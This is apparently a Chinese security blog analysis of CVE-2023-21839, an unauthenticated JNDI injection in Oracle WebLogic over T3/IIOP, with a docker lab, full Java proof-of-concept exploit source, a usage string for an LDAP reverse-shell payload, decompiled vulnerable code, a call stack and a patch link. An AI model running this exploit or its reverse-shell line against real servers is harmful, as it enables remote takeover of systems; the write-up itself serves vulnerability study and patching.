CVE-2023-21839漏洞分析
漏洞描述
Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.
影响版本
- Weblogic 12.2.1.3.0
- Weblogic 12.2.1.4.0
- Weblogic 14.1.1.0.0
漏洞环境
docker-compose.yml
1 2 3 4 5 6 7 8 9
| version: '2' services: weblogic: image: vulhub/weblogic:12.2.1.3-2018 environment: debugFlag: "true" ports: - "7001:7001" - "8453:8453"
|
漏洞复现
工具来源:https://github.com/DXask88MA/Weblogic-CVE-2023-21839
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import java.lang.reflect.Field;
import java.util.Hashtable; import java.util.Random;
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException;
public class CVE_2023_21839 { static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; static String HOW_TO_USE = "[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url) throws NamingException { Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url);
return new InitialContext(env); }
public static void main(String[] args) throws Exception { if (args.length < 2) { System.out.println(HOW_TO_USE); System.exit(0); }
String t3Url = args[0]; String ldapUrl = args[1]; InitialContext c = getInitialContext("t3://" + t3Url); Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f = new weblogic.deployment.jms.ForeignOpaqueReference(); Field jndiEnvironment = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField( "jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env);
Field remoteJNDIName = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField( "remoteJNDIName"); remoteJNDIName.setAccessible(true); remoteJNDIName.set(f, ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong() + "";
try { c.bind(bindName, f); c.lookup(bindName); } catch (Exception e) { } } }
|
1
| java -jar .\Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://oe6t0iq10f9wm7yloqgjc8sdq4wukj.burpcollaborator.net/dns.log
|
漏洞分析
当客户端在T3协议中调用bind()
和lookup()
函数时,服务端允许用户自定义jndiEnvironment
和remoteJNDIName
,相当于客户端控制服务端的JNDI注入。
跟进weblogic/jndi/internal/BasicNamingNode.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package weblogic.jndi.internal; public class BasicNamingNode implements NamingNode { protected Object resolveObject(String name, Object obj, int mode, Hashtable env) throws NamingException { Object resolved = obj; if (obj != null) { try { if (obj instanceof NamingNode) { resolved = ((NamingNode)obj).getContext(env); } else if (mode != 0 && mode >= 0) { resolved = WLNamingManager.getObjectInstance(obj, new CompositeName(name), (Context)null, env); resolved = this.makeTransportable(resolved, name, env); } }
|
跟进weblogic/jndi/internal/WLNamingManager.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package weblogic.jndi.internal; public final class WLNamingManager { public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException { if (boundObject instanceof ClassTypeOpaqueReference) { Hashtable jndiEnv = ThreadLocalMap.get(); if (jndiEnv != null && Boolean.parseBoolean((String)jndiEnv.get("weblogic.jndi.onlyGetClassType"))) { boundObject = ((ClassTypeOpaqueReference)boundObject).getObjectClass(); } else { boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx); } } else if (boundObject instanceof OpaqueReference) { boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx); } ...
|
跟进weblogic/deployment/jms/ForeignOpaqueReference.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package weblogic.deployment.jms; public class ForeignOpaqueReference implements ForeignOpaqueTag, OpaqueReference, Serializable { public Object getReferent(Name name, Context ctx) throws NamingException { AbstractSubject originalSubject = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID); InitialContext context; if (this.jndiEnvironment == null) { context = new InitialContext(); } else { if (this.jndiEnvironment.get("java.naming.factory.initial") == null) { this.jndiEnvironment.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); }
context = new InitialContext(this.jndiEnvironment); } ... Object retVal; try { if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)) { retVal = context.lookup(evalMacros(this.remoteJNDIName)); } else { synchronized(this) { if (this.cachedReferent == null) { this.cachedReferent = context.lookup(evalMacros(this.remoteJNDIName)); } }
retVal = this.cachedReferent; } } finally { SubjectManager.getSubjectManager().popSubject(KERNEL_ID); context.close(); }
|
调用栈如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| getReferent:254, ForeignOpaqueReference (weblogic.deployment.jms) getObjectInstance:106, WLNamingManager (weblogic.jndi.internal) resolveObject:1037, BasicNamingNode (weblogic.jndi.internal) resolveObject:1009, BasicNamingNode (weblogic.jndi.internal) lookup:223, BasicNamingNode (weblogic.jndi.internal) lookup:527, ServerNamingNode (weblogic.jndi.internal) lookup:84, RootNamingNode (weblogic.jndi.internal) invoke:-1, RootNamingNode_WLSkel (weblogic.jndi.internal) invoke:645, BasicServerRef (weblogic.rmi.internal) invoke:246, ClusterableServerRef (weblogic.rmi.cluster) run:534, BasicServerRef$2 (weblogic.rmi.internal) doAs:368, AuthenticatedSubject (weblogic.security.acl.internal) runAs:163, SecurityManager (weblogic.security.service) handleRequest:531, BasicServerRef (weblogic.rmi.internal) run:138, WLSExecuteRequest (weblogic.rmi.internal.wls) _runAs:352, ComponentInvocationContextManager (weblogic.invocation) runAs:337, ComponentInvocationContextManager (weblogic.invocation) doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work) runWorkUnderContext:41, PartitionUtility (weblogic.work) runWorkUnderContext:644, SelfTuningWorkManagerImpl (weblogic.work) execute:415, ExecuteThread (weblogic.work) run:355, ExecuteThread (weblogic.work)
|
补丁
厂商已发布了漏洞修复补丁:
https://support.oracle.com/rs?type=doc&id=2917213.2
参考